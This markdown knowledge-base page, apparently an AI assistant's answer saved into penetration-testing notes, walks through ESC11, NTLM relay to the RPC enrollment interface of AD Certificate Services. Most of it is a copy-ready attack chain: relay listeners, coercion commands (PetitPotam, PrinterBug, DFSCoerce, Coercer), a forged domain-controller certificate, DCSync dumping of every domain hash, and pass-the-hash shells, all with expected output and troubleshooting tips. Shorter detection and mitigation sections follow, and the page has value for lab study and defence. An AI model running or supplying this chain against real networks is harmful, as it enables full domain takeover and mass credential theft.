esc11-ntlm-relay-to-adcs-rpc-icpr.md (17169B)
1 --- 2 title: "ESC11 — NTLM Relay to ADCS RPC (ICPR)" 3 description: "ESC11 is the RPC-based sibling of ESC8. Where ESC8 relays NTLM credentials to the CA's HTTP Web Enrollment endpoint, ESC11 relays them to the CA's RPC…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "ntlm", "relay"] 7 tools: ["Impacket", "Certipy", "Metasploit", "Evil-WinRM", "Certify"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC11 — NTLM Relay to ADCS RPC (ICPR).md" 11 --- 12 # ESC11 — NTLM Relay to ADCS RPC (ICPR) 13 14 ## What Is ESC11? 15 16 ESC11 is the **RPC-based sibling of ESC8**. Where ESC8 relays NTLM credentials to the CA's **HTTP Web Enrollment** endpoint, ESC11 relays them to the CA's **RPC interface** — specifically the `ICertPassage` (MS-ICPR) protocol used for certificate enrollment over RPC/DCOM. This was discovered and disclosed by Sylvain Heiniger at Compass Security in a blog post titled *"Relaying to AD Certificate Services over RPC"*. 17 18 The critical distinction: **ESC11 exists precisely because organisations disabled or never enabled Web Enrollment (preventing ESC8), but left RPC enrollment unencrypted**. It is the bypass for ESC8 mitigations. Many admins disable `certsrv` (HTTP) thinking they've closed the relay attack surface — ESC11 proves they haven't. 19 20 The flag that makes this possible is `IF_ENFORCEENCRYPTICERTREQUEST` — when this is **not set** on the CA, the RPC certificate enrollment interface accepts unencrypted requests, allowing NTLM relay exactly like ESC8 does over HTTP. 21 22 *** 23 24 ## ESC8 vs ESC11 — The Core Difference 25 26 | | ESC8 | ESC11 | 27 |---|---|---| 28 | **Relay target** | `http://<CA>/certsrv/certfnsh.asp` | CA RPC endpoint (TCP 135 / dynamic ports) | 29 | **Protocol abused** | HTTP Web Enrollment | MS-ICPR (ICertPassage RPC) | 30 | **Key misconfiguration** | Web Enrollment enabled | `IF_ENFORCEENCRYPTICERTREQUEST` NOT set | 31 | **Certipy flag** | `Web Enrollment: Enabled` | `Enforce Encryption for Requests: Disabled` | 32 | **Disabled by default?** | ❌ Web Enrollment is off by default | ✅ Encryption enforcement is OFF by default on some configs | 33 | **Bypasses ESC8 fix?** | N/A | ✅ ESC11 works even when Web Enrollment is disabled | 34 | **Tool for relay** | `ntlmrelayx --adcs` | `certipy-ad relay` | 35 36 *** 37 38 ## Required Conditions 39 40 | Condition | Where to Check | 41 |-----------|----------------| 42 | `IF_ENFORCEENCRYPTICERTREQUEST` NOT set on CA | CA output: `Enforce Encryption for Requests: Disabled` | 43 | `Request Disposition: Issue` | CA output: `Request Disposition: Issue` | 44 | RPC reachable from attacker (TCP 135 + dynamic) | Network access to CA | 45 | At least one Client Auth or machine auth template available | Template enumeration | 46 | A coercible target (ideally DC) | Network topology | 47 48 *** 49 50 ## Step 0 — Enumeration 51 52 ```bash 53 # Standard vulnerable scan 54 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 55 -dc-ip $TARGET -vulnerable -stdout 56 57 # With hash 58 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ 59 -dc-ip $TARGET -vulnerable -stdout 60 ``` 61 62 ### What Vulnerable ESC11 Output Looks Like 63 64 The vulnerability shows at the **CA level**: 65 66 ``` 67 Certificate Authorities 68 0 69 CA Name : DOMAIN-CA 70 DNS Name : DC01.domain.htb 71 Web Enrollment 72 HTTP 73 Enabled : False ← ESC8 NOT possible 74 HTTPS 75 Enabled : False 76 User Specified SAN : Disabled 77 Request Disposition : Issue 78 Enforce Encryption for Requests : Disabled ← ⚠️ THE ESC11 flag 79 80 [!] Vulnerabilities 81 ESC11 : Encryption is not enforced for ICPR requests 82 and Request Disposition is set to Issue 83 ``` 84 85 > 💡 This is exactly what your **Fluffy box** output showed — `Web Enrollment: False` (no ESC8) but `Enforce Encryption for Requests: Enabled` — meaning on Fluffy, ESC11 was also NOT available, which is why the attack path was ESC16 instead. Knowing how to read this output is exactly what separates good ADCS operators from great ones. 86 87 *** 88 89 ## Understanding the Relay Topology 90 91 ``` 92 [YOUR ATTACK BOX] [DOMAIN CONTROLLER] [CA / ADCS SERVER] 93 │ │ │ 94 │ 1. certipy relay │ │ 95 │ Listening on TCP 445 │ │ 96 │ │ │ 97 │ 2. Coerce DC auth │ │ 98 │ PetitPotam / Coercer │ │ 99 │─────────────────────────►│ │ 100 │ │ NTLM Auth triggered │ 101 │◄─────────────────────────│ │ 102 │ 3. Relay NTLM → CA RPC │ │ 103 │─────────────────────────────────────────────────────►│ 104 │ │ CA issues DC01$.pfx │ 105 │◄─────────────────────────────────────────────────────│ 106 │ 4. certipy auth -pfx dc01.pfx │ 107 │ 5. secretsdump DCSync → ALL hashes │ 108 ``` 109 110 > 💡 The topology is **identical to ESC8** — the only difference is what port/protocol your relay listener targets. All the same coercion tools apply. 111 112 *** 113 114 ## Full Attack Chain — Linux (Certipy Relay) 115 116 Certipy v4+ has **native relay support** built in, making ESC11 significantly cleaner than ESC8's ntlmrelayx approach. 117 118 *** 119 120 ### Step 1 — Start the Certipy Relay Listener 121 122 Open **Terminal 1**: 123 124 ```bash 125 # Certipy's native relay — targets the CA RPC interface directly 126 certipy-ad relay \ 127 -ca 'DOMAIN-CA-NAME' \ 128 -template 'DomainController' 129 130 # If CA is on a separate host from the DC 131 certipy-ad relay \ 132 -target <CA-IP> \ 133 -ca 'DOMAIN-CA-NAME' \ 134 -template 'DomainController' 135 136 # For relaying a user account instead of machine account 137 certipy-ad relay \ 138 -ca 'DOMAIN-CA-NAME' \ 139 -template 'User' 140 ``` 141 142 **Expected output:** 143 ``` 144 [*] Targeting 'rpc://<CA-IP>' 145 [*] Listening on 0.0.0.0:445 146 [*] Relay attack set up — waiting for connections... 147 ``` 148 149 > 💡 `certipy relay` automatically handles the RPC relay to the `ICertPassage` interface — no manual ntlmrelayx configuration needed. It listens on **port 445** for incoming NTLM authentication attempts. 150 151 *** 152 153 ### Step 2 — Coerce Authentication from the Target 154 155 Open **Terminal 2** — force the DC to authenticate toward you: 156 157 **Method A — Coercer (all coercion methods combined, most reliable):** 158 ```bash 159 # Requires a low-priv domain account 160 coercer coerce \ 161 -u 'lowpriv' \ 162 -p 'Password123!' \ 163 -d 'domain.htb' \ 164 -l <YOUR-IP> \ 165 -t <DC-IP> 166 ``` 167 168 **Method B — PetitPotam (EFS-based coercion):** 169 ```bash 170 # Unauthenticated (pre-patch) 171 python3 PetitPotam.py <YOUR-IP> <DC-IP> 172 173 # Authenticated (post-patch) 174 python3 PetitPotam.py \ 175 -u 'lowpriv' \ 176 -p 'Password123!' \ 177 -d 'domain.htb' \ 178 <YOUR-IP> <DC-IP> 179 ``` 180 181 **Method C — PrinterBug (Print Spooler):** 182 ```bash 183 python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP> 184 ``` 185 186 **Method D — DFSCoerce (MS-DFSNM):** 187 ```bash 188 python3 dfscoerce.py \ 189 -u 'lowpriv' -p 'Password123!' \ 190 -d 'domain.htb' \ 191 <YOUR-IP> <DC-IP> 192 ``` 193 194 *** 195 196 ### Step 3 — Collect the Certificate (Watch Terminal 1) 197 198 After coercion fires, watch Terminal 1 (certipy relay): 199 200 ``` 201 [*] Received connection from DC01$@<DC-IP> 202 [*] Connecting to 'rpc://<CA-IP>' 203 [*] Requesting certificate for 'DC01$' based on 'DomainController' template 204 [*] Got certificate with DNS hostname 'DC01.domain.htb' 205 [*] Saving certificate and private key to 'DC01$.pfx' 206 [*] Done! 207 ``` 208 209 *** 210 211 ### Step 4 — Authenticate as the DC Machine Account 212 213 ```bash 214 certipy-ad auth \ 215 -pfx 'DC01$.pfx' \ 216 -username 'DC01$' \ 217 -domain domain.htb \ 218 -dc-ip $TARGET 219 ``` 220 221 **Expected output:** 222 ``` 223 [*] Using principal: 'DC01$@domain.htb' 224 [*] Trying to get TGT... 225 [*] Got TGT 226 [*] Saving credential cache to 'DC01$.ccache' 227 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH 228 ``` 229 230 *** 231 232 ### Step 5 — DCSync (Full Domain Compromise) 233 234 ```bash 235 # Using TGT 236 export KRB5CCNAME='DC01$.ccache' 237 secretsdump.py -k -no-pass DC01.domain.htb 238 239 # Using NT hash directly 240 secretsdump.py \ 241 -hashes :NTHASH \ 242 'domain.htb/DC01$'@DC01.domain.htb 243 244 # Output: ALL domain hashes 245 # Administrator:500:aad3b435...:NTHASH 246 # krbtgt:502:aad3b435...:KRBTGT_HASH 247 # All users... 248 ``` 249 250 *** 251 252 ### Step 6 — Shell as Administrator 253 254 ```bash 255 # Pass-the-Hash with Admin NT hash from DCSync 256 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> 257 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 258 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 259 ``` 260 261 *** 262 263 ## Alternative — Using ntlmrelayx for ESC11 (Older Certipy Versions) 264 265 If you're on an older Certipy version without native relay support: 266 267 ```bash 268 # Terminal 1 — ntlmrelayx targeting CA RPC 269 impacket-ntlmrelayx \ 270 -t rpc://<CA-IP> \ 271 -rpc-mode ICPR \ 272 -icpr-ca-name 'DOMAIN-CA-NAME' \ 273 --adcs \ 274 --template 'DomainController' \ 275 -smb2support 276 277 # Terminal 2 — same coercion as above 278 python3 PetitPotam.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP> 279 ``` 280 281 > 💡 Note the key difference from ESC8 — `-t rpc://<CA-IP>` instead of `-t http://...`, and the addition of `-rpc-mode ICPR` and `-icpr-ca-name`. These flags tell ntlmrelayx to speak the MS-ICPR protocol instead of HTTP enrollment. 282 283 *** 284 285 ## ESC11 Visual Attack Flow 286 287 ``` 288 ┌─────────────────────────────────────────────────────────────────────┐ 289 │ PREREQ CHECK │ 290 │ certipy find → Enforce Encryption for Requests: Disabled │ 291 └─────────────────────────────────────────────────────────────────────┘ 292 │ 293 ┌────────────────────▼──────────────────────┐ 294 │ Terminal 1: certipy relay │ 295 │ -ca DOMAIN-CA -template DomainController │ 296 │ Listening on 0.0.0.0:445 (RPC relay) │ 297 └────────────────────┬──────────────────────┘ 298 │ 299 ┌────────────────────▼──────────────────────┐ 300 │ Terminal 2: Coercer / PetitPotam │ 301 │ Force DC01$ → auth to YOUR-IP │ 302 └────────────────────┬──────────────────────┘ 303 │ 304 ┌────────────────────▼──────────────────────┐ 305 │ Relay → CA RPC (MS-ICPR) │ 306 │ CA issues DC01$.pfx │ 307 └────────────────────┬──────────────────────┘ 308 │ 309 ┌────────────────────▼──────────────────────┐ 310 │ certipy auth -pfx DC01$.pfx │ 311 │ → TGT + NT hash for DC01$ │ 312 └────────────────────┬──────────────────────┘ 313 │ 314 ┌────────────────────▼──────────────────────┐ 315 │ secretsdump DCSync │ 316 │ → ALL domain hashes │ 317 └────────────────────┬──────────────────────┘ 318 │ 319 [DOMAIN OWNED] 320 ``` 321 322 *** 323 324 ## Troubleshooting Common Issues 325 326 | Error | Cause | Fix | 327 |-------|-------|-----| 328 | `certipy relay` gets connection but CA rejects | Encryption IS enforced — Certipy misread the flag | Double-check `Enforce Encryption for Requests` value in certipy output | 329 | `Connection refused` on relay | CA RPC port not reachable | Check firewall — TCP 135 and dynamic RPC ports must be open to your box | 330 | Coercion fires but no connection received | DC can't route back to your IP | Check your IP is reachable from the DC — use `tcpdump port 445` to confirm | 331 | `Got certificate but no DNS hostname` | Wrong template used | For DC machine accounts use `DomainController` template, not `User` | 332 | `certipy auth` fails with `KDC_ERR_PADATA` | PKINIT not supported for machine certs on this DC | Try specifying a different DC with `-dc-ip` | 333 | `ntlmrelayx -rpc-mode ICPR` errors | Old impacket version | Update impacket: `pip3 install impacket --upgrade` | 334 335 *** 336 337 ## Detection Indicators 338 339 - **Event ID 4887** — Certificate issued for a machine account where the request source IP differs from the machine's own IP 340 - **Windows Security Event ID 4624** — Type 3 logon for a machine account `DC01$` from an unexpected source IP 341 - **CA audit log** — RPC-based certificate requests from IP addresses not matching the machine account's registered IP 342 - **Network IDS** — NTLM authentication over port 445 followed immediately by RPC traffic to the CA on port 135+ from the same source 343 - **Sysmon Event ID 3** — Unexpected network connections from `lsass.exe` to your attacker IP 344 345 *** 346 347 ## Mitigation 348 349 - **Enable `IF_ENFORCEENCRYPTICERTREQUEST`** — the single most direct fix: 350 ```powershell 351 # On the CA server 352 certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST 353 net stop certsvc && net start certsvc 354 ``` 355 - **Block NTLM where possible** — enforce Kerberos-only authentication on sensitive segments to remove the relay opportunity 356 - **Enable SMB signing** on all domain machines — this doesn't directly fix ESC11 but eliminates many coercion-relay chains 357 - **Patch coercion vectors** — apply patches for PetitPotam (CVE-2021-36942), disable Print Spooler on DCs, disable unnecessary RPC services 358 - **Restrict which templates machine accounts can enroll in** — `DomainController` template should require CA manager approval 359 - **Network segmentation** — CA RPC ports (TCP 135 + dynamic) should not be reachable from workstation VLANs 360 361 *** 362 363 Ready for the **Golden Certificate Attack** whenever you say go, Netrunner. 364 365 Sources 366 ESC11 - NTLM Relay to AD CS RPC Interfaces https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc11-ntlm-relay-to-ad-cs-rpc-interfaces 367 Exploiting Active Directory Certificate Services - ESC11 Walkthrough https://heartburn.dev/exploiting-active-directory-certificate-services-esc11-walkthrough/ 368 ADCS ESC11 – Relaying NTLM to ICPR - Hacking Articles https://www.hackingarticles.in/adcs-esc11-relaying-ntlm-to-icpr/ 369 redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf 370 Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt1/ 371 An Expert Guide to Fortifying Active Directory Certificate Services ... https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ 372 Certificates - Microsoft Defender for Identity https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates 373 Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html 374 06 ‐ Privilege Escalation · ly4k/Certipy Wiki - GitHub https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation 375 AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ 376 Preventing Privilege Escalation via Active Directory Certificate ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/